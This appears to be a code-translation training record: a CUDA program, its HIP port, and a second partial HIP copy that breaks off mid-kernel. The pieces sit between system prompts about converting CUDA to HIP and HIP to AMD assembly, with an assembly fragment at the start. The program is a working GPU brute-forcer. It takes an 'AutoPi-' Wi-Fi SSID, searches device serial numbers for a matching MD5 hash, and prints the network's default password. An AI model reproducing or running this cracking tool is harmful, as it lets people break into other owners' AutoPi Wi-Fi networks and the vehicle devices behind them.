movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaRegisterFatBinaryEnd@PLT
leaq _ZL26__cudaUnregisterBinaryUtilv(%rip), %rdi
call atexit@PLT
popq %rbx
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2097:
.size _ZL24__sti____cudaRegisterAllv, .-_ZL24__sti____cudaRegisterAllv
.section .init_array,"aw"
.align 8
.quad _ZL24__sti____cudaRegisterAllv
.section .nvFatBinSegment,"aw"
.align 8
.type _ZL15__fatDeviceText, @object
.size _ZL15__fatDeviceText, 24
_ZL15__fatDeviceText:
.long 1180844977
.long 1
.quad fatbinData
.quad 0
.local _ZL20__cudaFatCubinHandle
.comm _ZL20__cudaFatCubinHandle,8,8
.section .rodata
.align 16
.type _ZL9hexLookup, @object
.size _ZL9hexLookup, 17
_ZL9hexLookup:
.string "0123456789abcdef"
.align 4
.type _ZL9pwdbitlen, @object
.size _ZL9pwdbitlen, 4
_ZL9pwdbitlen:
.long 136
.align 4
.type _ZL7charLen, @object
.size _ZL7charLen, 4
_ZL7charLen:
.long 8
.ident "GCC: (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4: |
You are a helpful coding assistant specialized in converting CUDA source code to HIP/AMD source code. | /* MD5
Original algorithm by RSA Data Security, Inc
Adapted for NVIDIA CUDA by Matthew McClaskey
Copyright (C) 1991-2, RSA Data Security, Inc. Created 1991. All
rights reserved.
License to copy and use this software is granted provided that it
is identified as the "RSA Data Security, Inc. MD5 Message-Digest
Algorithm" in all material mentioning or referencing this software
or this function.
License is also granted to make and use derivative works provided
that such works are identified as "derived from the RSA Data
Security, Inc. MD5 Message-Digest Algorithm" in all material
mentioning or referencing the derived work.
RSA Data Security, Inc. makes no representations concerning either
the merchantability of this software or the suitability of this
software for any particular purpose. It is provided "as is"
without express or implied warranty of any kind.
These notices must be retained in any copies of any part of this
documentation and/or software.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <math.h>
const unsigned int S11 = 7;
const unsigned int S12 = 12;
const unsigned int S13 = 17;
const unsigned int S14 = 22;
const unsigned int S21 = 5;
const unsigned int S22 = 9;
const unsigned int S23 = 14;
const unsigned int S24 = 20;
const unsigned int S31 = 4;
const unsigned int S32 = 11;
const unsigned int S33 = 16;
const unsigned int S34 = 23;
const unsigned int S41 = 6;
const unsigned int S42 = 10;
const unsigned int S43 = 15;
const unsigned int S44 = 21;
#define TRUE 1
#define FALSE 0
__device__ const unsigned int charLen = 8;
__device__ const unsigned int pwdbitlen = 136; // number of bits in plain text
__device__ const unsigned char hexLookup[] = "0123456789abcdef";
/* F, G, H and I are basic MD5 functions */
__device__ inline unsigned int F(unsigned int x, unsigned int y, unsigned int z) { return (((x) & (y)) | ((~x) & (z))); }
__device__ inline unsigned int G(unsigned int x, unsigned int y, unsigned int z) { return (((x) & (z)) | ((y) & (~z))); }
__device__ inline unsigned int H(unsigned int x, unsigned int y, unsigned int z) { return ((x) ^ (y) ^ (z)); }
__device__ inline unsigned int I(unsigned int x, unsigned int y, unsigned int z) { return ((y) ^ ((x) | (~z))); }
/* ROTATE_LEFT rotates x left n bits */
#define ROTATE_LEFT(x, n) (((x) << (n)) | ((x) >> (32-(n))))
/* Rotation is separate from addition to prevent recomputation */
__device__ inline void FF(unsigned int &a, unsigned int b, unsigned int c, unsigned int d, unsigned int x, unsigned int s, unsigned int ac)
{
a = ROTATE_LEFT(a + F(b, c, d) + x + ac, s) + b;
}
__device__ inline void GG(unsigned int &a, unsigned int b, unsigned int c, unsigned int d, unsigned int x, unsigned int s, unsigned int ac)
{
a = ROTATE_LEFT(a + G(b, c, d) + x + ac, s) + b;
}
__device__ inline void HH(unsigned int &a, unsigned int b, unsigned int c, unsigned int d, unsigned int x, unsigned int s, unsigned int ac)
{
a = ROTATE_LEFT(a + H(b ,c ,d) + x + ac, s) + b;
}
__device__ inline void II(unsigned int &a, unsigned int b, unsigned int c, unsigned int d, unsigned int x, unsigned int s, unsigned int ac)
{
a = ROTATE_LEFT(a + I(b, c, d) + x + ac, s) + b;
}
__device__ void setSerial(char output[], unsigned int input[]) {
for (unsigned int i = 0, j = 0; j < 16; j+=4, i++) {
for (unsigned int k = 0; k < 4; k++) {
output[j + k] = (unsigned char) ((input[i] >> 8*k) & 0xff);
}
}
}
__device__ void setHash(char output[], unsigned int input[]) {
for (unsigned int i = 0, j = 0; j < 32; j+=8, i++) {
for (unsigned int k = 0; k < 8; k+=2) {
output[j + k + 1] = hexLookup[((input[i] >> 4*k+0) & 0xf)];
output[j + k + 0] = hexLookup[((input[i] >> 4*k+4) & 0xf)];
}
}
}
__global__ void findMatch(unsigned int* ssid, unsigned int* found, char* serialResult, char* hashResult) {
unsigned int a, b, c, d;
unsigned int serial[5];
for (int i = 0; i < sizeof(serial)/sizeof(serial[0]); i++) {
serial[i] = 0;
}
/*
Set up serial number in format: "00000000xyzrsijk" + "\n"
(md5 uses little endian => "00000000rzyxkjis")
Where chars...:
x, y & z are taken from the blockId.
r & s are taken from the threadId.
i, j & k are produced in the three nested loops underneath.
The serial is stored in a int array:
serial[0] == '0000'
serial[1] == '0000'
serial[2] == 'xyzr'
serial[3] == 'sijk'
serial[4] == ' d\n' // d = 1 bit delimiter used by the md5 algorithm
*/
for (int i = 0; i < 4; i++) {
serial[0] += hexLookup[0] << charLen*i;
}
serial[1] = serial[0];
serial[2] += hexLookup[(blockIdx.x & 0xf00) >> 8] << charLen*3; // serial[2] = 'x '
serial[2] += hexLookup[(blockIdx.x & 0x0f0) >> 4] << charLen*2; // serial[2] = 'xy '
serial[2] += hexLookup[(blockIdx.x & 0x00f)] << charLen*1; // serial[2] = 'xyz '
serial[2] += hexLookup[(threadIdx.x & 0xf0) >> 4] << charLen*0; // serial[2] = 'xyzr'
serial[3] += hexLookup[(threadIdx.x & 0x0f)] << charLen*3; // serial[3] = 't '
serial[4] += 10 << charLen*0; // serial[4] = ' \n'
serial[4] += 128 << charLen*1; // serial[4] = ' d\n'
// ASCII 0(48) -> 9(57) & a(97) -> f(102)
for (unsigned int i = 48; i <= 102; i++) {
serial[3] &= ~(0xff << charLen*2); // erase last loops value
serial[3] += (i << charLen*2); // serial[3] = 'ti '
for (unsigned int j = 48; j <= 102; j++) {
serial[3] &= ~(0xff << charLen*1); // erase last loops value
serial[3] += (j << charLen*1); // serial[3] = 'tij '
for (unsigned int k = 48; k <= 102; k++) {
serial[3] &= ~(0xff << charLen*0); // erase last loops value
serial[3] += (k << charLen*0); // serial[3] = 'tijk'
//load magic numbers
a = 0x67452301;
b = 0xefcdab89;
c = 0x98badcfe;
d = 0x10325476;
// Round 1
FF ( a, b, c, d, serial[0], S11, 0xd76aa478); // 1
FF ( d, a, b, c, serial[1], S12, 0xe8c7b756); // 2
FF ( c, d, a, b, serial[2], S13, 0x242070db); // 3
FF ( b, c, d, a, serial[3], S14, 0xc1bdceee); // 4
FF ( a, b, c, d, serial[4], S11, 0xf57c0faf); // 5
FF ( d, a, b, c, 0, S12, 0x4787c62a); // 6
FF ( c, d, a, b, 0, S13, 0xa8304613); // 7
FF ( b, c, d, a, 0, S14, 0xfd469501); // 8
FF ( a, b, c, d, 0, S11, 0x698098d8); // 9
FF ( d, a, b, c, 0, S12, 0x8b44f7af); // 10
FF ( c, d, a, b, 0, S13, 0xffff5bb1); // 11
FF ( b, c, d, a, 0, S14, 0x895cd7be); // 12
FF ( a, b, c, d, 0, S11, 0x6b901122); // 13
FF ( d, a, b, c, 0, S12, 0xfd987193); // 14
FF ( c, d, a, b, pwdbitlen, S13, 0xa679438e); // 15
FF ( b, c, d, a, 0, S14, 0x49b40821); //
// Round 2
GG (a, b, c, d, serial[1], S21, 0xf61e2562); // 17
GG (d, a, b, c, 0, S22, 0xc040b340); // 18
GG (c, d, a, b, 0, S23, 0x265e5a51); // 19
GG (b, c, d, a, serial[0], S24, 0xe9b6c7aa); // 20
GG (a, b, c, d, 0, S21, 0xd62f105d); // 21
GG (d, a, b, c, 0, S22, 0x2441453); // 22
GG (c, d, a, b, 0, S23, 0xd8a1e681); // 23
GG (b, c, d, a, serial[4], S24, 0xe7d3fbc8); // 24
GG (a, b, c, d, 0, S21, 0x21e1cde6); // 25
GG (d, a, b, c, pwdbitlen, S22, 0xc33707d6); // 26
GG (c, d, a, b, serial[3], S23, 0xf4d50d87); // 27
GG (b, c, d, a, 0, S24, 0x455a14ed); // 28
GG (a, b, c, d, 0, S21, 0xa9e3e905); // 29
GG (d, a, b, c, serial[2], S22, 0xfcefa3f8); // 30
GG (c, d, a, b, 0, S23, 0x676f02d9); // 31
GG (b, c, d, a, 0, S24, 0x8d2a4c8a); // 32
// Round 3
HH (a, b, c, d, 0, S31, 0xfffa3942); // 33
HH (d, a, b, c, 0, S32, 0x8771f681); // 34
HH (c, d, a, b, 0, S33, 0x6d9d6122); // 35
HH (b, c, d, a, pwdbitlen, S34, 0xfde5380c); // 36
HH (a, b, c, d, serial[1], S31, 0xa4beea44); // 37
HH (d, a, b, c, serial[4], S32, 0x4bdecfa9); // 38
HH (c, d, a, b, 0, S33, 0xf6bb4b60); // 39
HH (b, c, d, a, 0, S34, 0xbebfbc70); // 40
HH (a, b, c, d, 0, S31, 0x289b7ec6); // 41
HH (d, a, b, c, serial[0], S32, 0xeaa127fa); // 42
HH (c, d, a, b, serial[3], S33, 0xd4ef3085); // 43
HH (b, c, d, a, 0, S34, 0x4881d05); // 44
HH (a, b, c, d, 0, S31, 0xd9d4d039); // 45
HH (d, a, b, c, 0, S32, 0xe6db99e5); // 46
HH (c, d, a, b, 0, S33, 0x1fa27cf8); // 47
HH (b, c, d, a, serial[2], S34, 0xc4ac5665); // 48
// Round 4
II (a, b, c, d, serial[0], S41, 0xf4292244); // 49
II (d, a, b, c, 0, S42, 0x432aff97); // 50
II (c, d, a, b, pwdbitlen, S43, 0xab9423a7); // 51
II (b, c, d, a, 0, S44, 0xfc93a039); // 52
II (a, b, c, d, 0, S41, 0x655b59c3); // 53
II (d, a, b, c, serial[3], S42, 0x8f0ccc92); // 54
II (c, d, a, b, 0, S43, 0xffeff47d); // 55
II (b, c, d, a, serial[1], S44, 0x85845dd1); // 56
II (a, b, c, d, 0, S41, 0x6fa87e4f); // 57
II (d, a, b, c, 0, S42, 0xfe2ce6e0); // 58
II (c, d, a, b, 0, S43, 0xa3014314); // 59
II (b, c, d, a, 0, S44, 0x4e0811a1); // 60
II (a, b, c, d, serial[4], S41, 0xf7537e82); // 61
II (d, a, b, c, 0, S42, 0xbd3af235); // 62
II (c, d, a, b, serial[2], S43, 0x2ad7d2bb); // 63
II (b, c, d, a, 0, S44, 0xeb86d391); // 64
a += 0x67452301;
b += 0xefcdab89;
c += 0x98badcfe;
d += 0x10325476;
if (((c >> charLen*2) & 0xffff) == ((ssid[0] >> charLen*2) & 0xffff) && d == ssid[1]) {
unsigned int hash[] = {a, b, c, d};
*found = TRUE;
setSerial(serialResult, serial);
setHash(hashResult, hash);
return;
}
if (k == 57)
k = 96; // values will be incremented to 97 at the end of their loops
}
if (j == 57)
j = 96;
}
if (i == 57)
i = 96;
}
}
void usage(char *argv[]) {
printf("%-7s %s %s\n", "Usage:", argv[0], "<12 hex SSID>");
exit(0);
}
// Converts the 12 hex char ssid input to arrays of integers in
// little endian which is used by the md5 algorithm.
void ssidToInts(unsigned int result[], char input[]) {
// Pad with zeros to align with multiple of 8.
// Will be masked away when doing compares.
char ssid[17];
snprintf(ssid, sizeof(ssid)/sizeof(ssid[0]), "%s%s", "0000", input);
char tmpResult[9];
tmpResult[8] = 0;
for (int i = 0; i < 16; i+=8) {
for (int j = 0; j < 8; j+=2) {
tmpResult[(j + 1) % 8] = ssid[i + (8 - 1 - j - 0)];
tmpResult[(j + 0) % 8] = ssid[i + (8 - 1 - j - 1)];
}
result[(i + 1) / 8] = strtoul(tmpResult, NULL, 16);
}
}
int main(int argc, char *argv[]) {
if (argc != 2 || strlen(argv[1]) != 12) {
usage(argv);
}
// declare
unsigned int *found, *ssid;
char *serialResult, *hashResult;
const int SERIAL_LENGTH = 16 + 1, HASH_LENGTH = 32 + 1;
// malloc
cudaMallocManaged((void**)&found, sizeof(int));
cudaMallocManaged((void**)&ssid, 2 * sizeof(int));
cudaMallocManaged((void**)&serialResult, SERIAL_LENGTH * sizeof(char));
cudaMallocManaged((void**)&hashResult, HASH_LENGTH * sizeof(char));
// init
*found = FALSE;
ssidToInts(ssid, argv[1]);
serialResult[SERIAL_LENGTH - 1] = 0;
hashResult[HASH_LENGTH - 1] = 0;
findMatch<<<4096, 256>>>(ssid, found, serialResult, hashResult);
cudaDeviceSynchronize();
if (*found) {
char password[13];
strncpy(password, hashResult, 12);
password[12] = 0;
printf("%-10s %s\n", "Serial:", serialResult);
printf("%-10s %s\n", "Hash:", hashResult);
printf("%-10s AutoPi-%s\n", "SSID:", argv[1]);
printf("%-10s %s\n", "Password:", password);
} else {
printf("No match found for SSID %s\n", argv[1]);
}
cudaFree(found);
cudaFree(ssid);
cudaFree(serialResult);
cudaFree(hashResult);
return 0;
} | /* MD5
Original algorithm by RSA Data Security, Inc
Adapted for NVIDIA CUDA by Matthew McClaskey
Copyright (C) 1991-2, RSA Data Security, Inc. Created 1991. All
rights reserved.
License to copy and use this software is granted provided that it
is identified as the "RSA Data Security, Inc. MD5 Message-Digest
Algorithm" in all material mentioning or referencing this software
or this function.
License is also granted to make and use derivative works provided
that such works are identified as "derived from the RSA Data
Security, Inc. MD5 Message-Digest Algorithm" in all material
mentioning or referencing the derived work.
RSA Data Security, Inc. makes no representations concerning either
the merchantability of this software or the suitability of this
software for any particular purpose. It is provided "as is"
without express or implied warranty of any kind.
These notices must be retained in any copies of any part of this
documentation and/or software.
*/
#include <hip/hip_runtime.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <math.h>
const unsigned int S11 = 7;
const unsigned int S12 = 12;
const unsigned int S13 = 17;
const unsigned int S14 = 22;
const unsigned int S21 = 5;
const unsigned int S22 = 9;
const unsigned int S23 = 14;
const unsigned int S24 = 20;
const unsigned int S31 = 4;
const unsigned int S32 = 11;
const unsigned int S33 = 16;
const unsigned int S34 = 23;
const unsigned int S41 = 6;
const unsigned int S42 = 10;
const unsigned int S43 = 15;
const unsigned int S44 = 21;
#define TRUE 1
#define FALSE 0
__device__ const unsigned int charLen = 8;
__device__ const unsigned int pwdbitlen = 136; // number of bits in plain text
__device__ const unsigned char hexLookup[] = "0123456789abcdef";
/* F, G, H and I are basic MD5 functions */
__device__ inline unsigned int F(unsigned int x, unsigned int y, unsigned int z) { return (((x) & (y)) | ((~x) & (z))); }
__device__ inline unsigned int G(unsigned int x, unsigned int y, unsigned int z) { return (((x) & (z)) | ((y) & (~z))); }
__device__ inline unsigned int H(unsigned int x, unsigned int y, unsigned int z) { return ((x) ^ (y) ^ (z)); }
__device__ inline unsigned int I(unsigned int x, unsigned int y, unsigned int z) { return ((y) ^ ((x) | (~z))); }
/* ROTATE_LEFT rotates x left n bits */
#define ROTATE_LEFT(x, n) (((x) << (n)) | ((x) >> (32-(n))))
/* Rotation is separate from addition to prevent recomputation */
__device__ inline void FF(unsigned int &a, unsigned int b, unsigned int c, unsigned int d, unsigned int x, unsigned int s, unsigned int ac)
{
a = ROTATE_LEFT(a + F(b, c, d) + x + ac, s) + b;
}
__device__ inline void GG(unsigned int &a, unsigned int b, unsigned int c, unsigned int d, unsigned int x, unsigned int s, unsigned int ac)
{
a = ROTATE_LEFT(a + G(b, c, d) + x + ac, s) + b;
}
__device__ inline void HH(unsigned int &a, unsigned int b, unsigned int c, unsigned int d, unsigned int x, unsigned int s, unsigned int ac)
{
a = ROTATE_LEFT(a + H(b ,c ,d) + x + ac, s) + b;
}
__device__ inline void II(unsigned int &a, unsigned int b, unsigned int c, unsigned int d, unsigned int x, unsigned int s, unsigned int ac)
{
a = ROTATE_LEFT(a + I(b, c, d) + x + ac, s) + b;
}
__device__ void setSerial(char output[], unsigned int input[]) {
for (unsigned int i = 0, j = 0; j < 16; j+=4, i++) {
for (unsigned int k = 0; k < 4; k++) {
output[j + k] = (unsigned char) ((input[i] >> 8*k) & 0xff);
}
}
}
__device__ void setHash(char output[], unsigned int input[]) {
for (unsigned int i = 0, j = 0; j < 32; j+=8, i++) {
for (unsigned int k = 0; k < 8; k+=2) {
output[j + k + 1] = hexLookup[((input[i] >> 4*k+0) & 0xf)];
output[j + k + 0] = hexLookup[((input[i] >> 4*k+4) & 0xf)];
}
}
}
__global__ void findMatch(unsigned int* ssid, unsigned int* found, char* serialResult, char* hashResult) {
unsigned int a, b, c, d;
unsigned int serial[5];
for (int i = 0; i < sizeof(serial)/sizeof(serial[0]); i++) {
serial[i] = 0;
}
/*
Set up serial number in format: "00000000xyzrsijk" + "\n"
(md5 uses little endian => "00000000rzyxkjis")
Where chars...:
x, y & z are taken from the blockId.
r & s are taken from the threadId.
i, j & k are produced in the three nested loops underneath.
The serial is stored in a int array:
serial[0] == '0000'
serial[1] == '0000'
serial[2] == 'xyzr'
serial[3] == 'sijk'
serial[4] == ' d\n' // d = 1 bit delimiter used by the md5 algorithm
*/
for (int i = 0; i < 4; i++) {
serial[0] += hexLookup[0] << charLen*i;
}
serial[1] = serial[0];
serial[2] += hexLookup[(blockIdx.x & 0xf00) >> 8] << charLen*3; // serial[2] = 'x '
serial[2] += hexLookup[(blockIdx.x & 0x0f0) >> 4] << charLen*2; // serial[2] = 'xy '
serial[2] += hexLookup[(blockIdx.x & 0x00f)] << charLen*1; // serial[2] = 'xyz '
serial[2] += hexLookup[(threadIdx.x & 0xf0) >> 4] << charLen*0; // serial[2] = 'xyzr'
serial[3] += hexLookup[(threadIdx.x & 0x0f)] << charLen*3; // serial[3] = 't '
serial[4] += 10 << charLen*0; // serial[4] = ' \n'
serial[4] += 128 << charLen*1; // serial[4] = ' d\n'
// ASCII 0(48) -> 9(57) & a(97) -> f(102)
for (unsigned int i = 48; i <= 102; i++) {
serial[3] &= ~(0xff << charLen*2); // erase last loops value
serial[3] += (i << charLen*2); // serial[3] = 'ti '
for (unsigned int j = 48; j <= 102; j++) {
serial[3] &= ~(0xff << charLen*1); // erase last loops value
serial[3] += (j << charLen*1); // serial[3] = 'tij '
for (unsigned int k = 48; k <= 102; k++) {
serial[3] &= ~(0xff << charLen*0); // erase last loops value
serial[3] += (k << charLen*0); // serial[3] = 'tijk'
//load magic numbers
a = 0x67452301;
b = 0xefcdab89;
c = 0x98badcfe;
d = 0x10325476;
// Round 1
FF ( a, b, c, d, serial[0], S11, 0xd76aa478); // 1
FF ( d, a, b, c, serial[1], S12, 0xe8c7b756); // 2
FF ( c, d, a, b, serial[2], S13, 0x242070db); // 3
FF ( b, c, d, a, serial[3], S14, 0xc1bdceee); // 4
FF ( a, b, c, d, serial[4], S11, 0xf57c0faf); // 5
FF ( d, a, b, c, 0, S12, 0x4787c62a); // 6
FF ( c, d, a, b, 0, S13, 0xa8304613); // 7
FF ( b, c, d, a, 0, S14, 0xfd469501); // 8
FF ( a, b, c, d, 0, S11, 0x698098d8); // 9
FF ( d, a, b, c, 0, S12, 0x8b44f7af); // 10
FF ( c, d, a, b, 0, S13, 0xffff5bb1); // 11
FF ( b, c, d, a, 0, S14, 0x895cd7be); // 12
FF ( a, b, c, d, 0, S11, 0x6b901122); // 13
FF ( d, a, b, c, 0, S12, 0xfd987193); // 14
FF ( c, d, a, b, pwdbitlen, S13, 0xa679438e); // 15
FF ( b, c, d, a, 0, S14, 0x49b40821); //
// Round 2
GG (a, b, c, d, serial[1], S21, 0xf61e2562); // 17
GG (d, a, b, c, 0, S22, 0xc040b340); // 18
GG (c, d, a, b, 0, S23, 0x265e5a51); // 19
GG (b, c, d, a, serial[0], S24, 0xe9b6c7aa); // 20
GG (a, b, c, d, 0, S21, 0xd62f105d); // 21
GG (d, a, b, c, 0, S22, 0x2441453); // 22
GG (c, d, a, b, 0, S23, 0xd8a1e681); // 23
GG (b, c, d, a, serial[4], S24, 0xe7d3fbc8); // 24
GG (a, b, c, d, 0, S21, 0x21e1cde6); // 25
GG (d, a, b, c, pwdbitlen, S22, 0xc33707d6); // 26
GG (c, d, a, b, serial[3], S23, 0xf4d50d87); // 27
GG (b, c, d, a, 0, S24, 0x455a14ed); // 28
GG (a, b, c, d, 0, S21, 0xa9e3e905); // 29
GG (d, a, b, c, serial[2], S22, 0xfcefa3f8); // 30
GG (c, d, a, b, 0, S23, 0x676f02d9); // 31
GG (b, c, d, a, 0, S24, 0x8d2a4c8a); // 32
// Round 3
HH (a, b, c, d, 0, S31, 0xfffa3942); // 33
HH (d, a, b, c, 0, S32, 0x8771f681); // 34
HH (c, d, a, b, 0, S33, 0x6d9d6122); // 35
HH (b, c, d, a, pwdbitlen, S34, 0xfde5380c); // 36
HH (a, b, c, d, serial[1], S31, 0xa4beea44); // 37
HH (d, a, b, c, serial[4], S32, 0x4bdecfa9); // 38
HH (c, d, a, b, 0, S33, 0xf6bb4b60); // 39
HH (b, c, d, a, 0, S34, 0xbebfbc70); // 40
HH (a, b, c, d, 0, S31, 0x289b7ec6); // 41
HH (d, a, b, c, serial[0], S32, 0xeaa127fa); // 42
HH (c, d, a, b, serial[3], S33, 0xd4ef3085); // 43
HH (b, c, d, a, 0, S34, 0x4881d05); // 44
HH (a, b, c, d, 0, S31, 0xd9d4d039); // 45
HH (d, a, b, c, 0, S32, 0xe6db99e5); // 46
HH (c, d, a, b, 0, S33, 0x1fa27cf8); // 47
HH (b, c, d, a, serial[2], S34, 0xc4ac5665); // 48
// Round 4
II (a, b, c, d, serial[0], S41, 0xf4292244); // 49
II (d, a, b, c, 0, S42, 0x432aff97); // 50
II (c, d, a, b, pwdbitlen, S43, 0xab9423a7); // 51
II (b, c, d, a, 0, S44, 0xfc93a039); // 52
II (a, b, c, d, 0, S41, 0x655b59c3); // 53
II (d, a, b, c, serial[3], S42, 0x8f0ccc92); // 54
II (c, d, a, b, 0, S43, 0xffeff47d); // 55
II (b, c, d, a, serial[1], S44, 0x85845dd1); // 56
II (a, b, c, d, 0, S41, 0x6fa87e4f); // 57
II (d, a, b, c, 0, S42, 0xfe2ce6e0); // 58
II (c, d, a, b, 0, S43, 0xa3014314); // 59
II (b, c, d, a, 0, S44, 0x4e0811a1); // 60
II (a, b, c, d, serial[4], S41, 0xf7537e82); // 61
II (d, a, b, c, 0, S42, 0xbd3af235); // 62
II (c, d, a, b, serial[2], S43, 0x2ad7d2bb); // 63
II (b, c, d, a, 0, S44, 0xeb86d391); // 64
a += 0x67452301;
b += 0xefcdab89;
c += 0x98badcfe;
d += 0x10325476;
if (((c >> charLen*2) & 0xffff) == ((ssid[0] >> charLen*2) & 0xffff) && d == ssid[1]) {
unsigned int hash[] = {a, b, c, d};
*found = TRUE;
setSerial(serialResult, serial);
setHash(hashResult, hash);
return;
}
if (k == 57)
k = 96; // values will be incremented to 97 at the end of their loops
}
if (j == 57)
j = 96;
}
if (i == 57)
i = 96;
}
}
void usage(char *argv[]) {
printf("%-7s %s %s\n", "Usage:", argv[0], "<12 hex SSID>");
exit(0);
}
// Converts the 12 hex char ssid input to arrays of integers in
// little endian which is used by the md5 algorithm.
void ssidToInts(unsigned int result[], char input[]) {
// Pad with zeros to align with multiple of 8.
// Will be masked away when doing compares.
char ssid[17];
snprintf(ssid, sizeof(ssid)/sizeof(ssid[0]), "%s%s", "0000", input);
char tmpResult[9];
tmpResult[8] = 0;
for (int i = 0; i < 16; i+=8) {
for (int j = 0; j < 8; j+=2) {
tmpResult[(j + 1) % 8] = ssid[i + (8 - 1 - j - 0)];
tmpResult[(j + 0) % 8] = ssid[i + (8 - 1 - j - 1)];
}
result[(i + 1) / 8] = strtoul(tmpResult, NULL, 16);
}
}
int main(int argc, char *argv[]) {
if (argc != 2 || strlen(argv[1]) != 12) {
usage(argv);
}
// declare
unsigned int *found, *ssid;
char *serialResult, *hashResult;
const int SERIAL_LENGTH = 16 + 1, HASH_LENGTH = 32 + 1;
// malloc
hipMallocManaged((void**)&found, sizeof(int));
hipMallocManaged((void**)&ssid, 2 * sizeof(int));
hipMallocManaged((void**)&serialResult, SERIAL_LENGTH * sizeof(char));
hipMallocManaged((void**)&hashResult, HASH_LENGTH * sizeof(char));
// init
*found = FALSE;
ssidToInts(ssid, argv[1]);
serialResult[SERIAL_LENGTH - 1] = 0;
hashResult[HASH_LENGTH - 1] = 0;
findMatch<<<4096, 256>>>(ssid, found, serialResult, hashResult);
hipDeviceSynchronize();
if (*found) {
char password[13];
strncpy(password, hashResult, 12);
password[12] = 0;
printf("%-10s %s\n", "Serial:", serialResult);
printf("%-10s %s\n", "Hash:", hashResult);
printf("%-10s AutoPi-%s\n", "SSID:", argv[1]);
printf("%-10s %s\n", "Password:", password);
} else {
printf("No match found for SSID %s\n", argv[1]);
}
hipFree(found);
hipFree(ssid);
hipFree(serialResult);
hipFree(hashResult);
return 0;
} |
You are a helpful coding assistant specialized in converting HIP source code to AMD host assembly. | /* MD5
Original algorithm by RSA Data Security, Inc
Adapted for NVIDIA CUDA by Matthew McClaskey
Copyright (C) 1991-2, RSA Data Security, Inc. Created 1991. All
rights reserved.
License to copy and use this software is granted provided that it
is identified as the "RSA Data Security, Inc. MD5 Message-Digest
Algorithm" in all material mentioning or referencing this software
or this function.
License is also granted to make and use derivative works provided
that such works are identified as "derived from the RSA Data
Security, Inc. MD5 Message-Digest Algorithm" in all material
mentioning or referencing the derived work.
RSA Data Security, Inc. makes no representations concerning either
the merchantability of this software or the suitability of this
software for any particular purpose. It is provided "as is"
without express or implied warranty of any kind.
These notices must be retained in any copies of any part of this
documentation and/or software.
*/
#include <hip/hip_runtime.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <math.h>
const unsigned int S11 = 7;
const unsigned int S12 = 12;
const unsigned int S13 = 17;
const unsigned int S14 = 22;
const unsigned int S21 = 5;
const unsigned int S22 = 9;
const unsigned int S23 = 14;
const unsigned int S24 = 20;
const unsigned int S31 = 4;
const unsigned int S32 = 11;
const unsigned int S33 = 16;
const unsigned int S34 = 23;
const unsigned int S41 = 6;
const unsigned int S42 = 10;
const unsigned int S43 = 15;
const unsigned int S44 = 21;
#define TRUE 1
#define FALSE 0
__device__ const unsigned int charLen = 8;
__device__ const unsigned int pwdbitlen = 136; // number of bits in plain text
__device__ const unsigned char hexLookup[] = "0123456789abcdef";
/* F, G, H and I are basic MD5 functions */
__device__ inline unsigned int F(unsigned int x, unsigned int y, unsigned int z) { return (((x) & (y)) | ((~x) & (z))); }
__device__ inline unsigned int G(unsigned int x, unsigned int y, unsigned int z) { return (((x) & (z)) | ((y) & (~z))); }
__device__ inline unsigned int H(unsigned int x, unsigned int y, unsigned int z) { return ((x) ^ (y) ^ (z)); }
__device__ inline unsigned int I(unsigned int x, unsigned int y, unsigned int z) { return ((y) ^ ((x) | (~z))); }
/* ROTATE_LEFT rotates x left n bits */
#define ROTATE_LEFT(x, n) (((x) << (n)) | ((x) >> (32-(n))))
/* Rotation is separate from addition to prevent recomputation */
__device__ inline void FF(unsigned int &a, unsigned int b, unsigned int c, unsigned int d, unsigned int x, unsigned int s, unsigned int ac)
{
a = ROTATE_LEFT(a + F(b, c, d) + x + ac, s) + b;
}
__device__ inline void GG(unsigned int &a, unsigned int b, unsigned int c, unsigned int d, unsigned int x, unsigned int s, unsigned int ac)
{
a = ROTATE_LEFT(a + G(b, c, d) + x + ac, s) + b;
}
__device__ inline void HH(unsigned int &a, unsigned int b, unsigned int c, unsigned int d, unsigned int x, unsigned int s, unsigned int ac)
{
a = ROTATE_LEFT(a + H(b ,c ,d) + x + ac, s) + b;
}
__device__ inline void II(unsigned int &a, unsigned int b, unsigned int c, unsigned int d, unsigned int x, unsigned int s, unsigned int ac)
{
a = ROTATE_LEFT(a + I(b, c, d) + x + ac, s) + b;
}
__device__ void setSerial(char output[], unsigned int input[]) {
for (unsigned int i = 0, j = 0; j < 16; j+=4, i++) {
for (unsigned int k = 0; k < 4; k++) {
output[j + k] = (unsigned char) ((input[i] >> 8*k) & 0xff);
}
}
}
__device__ void setHash(char output[], unsigned int input[]) {
for (unsigned int i = 0, j = 0; j < 32; j+=8, i++) {
for (unsigned int k = 0; k < 8; k+=2) {
output[j + k + 1] = hexLookup[((input[i] >> 4*k+0) & 0xf)];
output[j + k + 0] = hexLookup[((input[i] >> 4*k+4) & 0xf)];
}
}
}
__global__ void findMatch(unsigned int* ssid, unsigned int* found, char* serialResult, char* hashResult) {
unsigned int a, b, c, d;
unsigned int serial[5];
for (int i = 0; i < sizeof(serial)/sizeof(serial[0]); i++) {
serial[i] = 0;
}
/*
Set up serial number in format: "00000000xyzrsijk" + "\n"
(md5 uses little endian => "00000000rzyxkjis")
Where chars...:
x, y & z are taken from the blockId.
r & s are taken from the threadId.
i, j & k are produced in the three nested loops underneath.
The serial is stored in a int array:
serial[0] == '0000'
serial[1] == '0000'
serial[2] == 'xyzr'
serial[3] == 'sijk'
serial[4] == ' d\n' // d = 1 bit delimiter used by the md5 algorithm
*/
for (int i = 0; i < 4; i++) {
serial[0] += hexLookup[0] << charLen*i;
}
serial[1] = serial[0];
serial[2] += hexLookup[(blockIdx.x & 0xf00) >> 8] << charLen*3; // serial[2] = 'x '
serial[2] += hexLookup[(blockIdx.x & 0x0f0) >> 4] << charLen*2; // serial[2] = 'xy '
serial[2] += hexLookup[(blockIdx.x & 0x00f)] << charLen*1; // serial[2] = 'xyz '
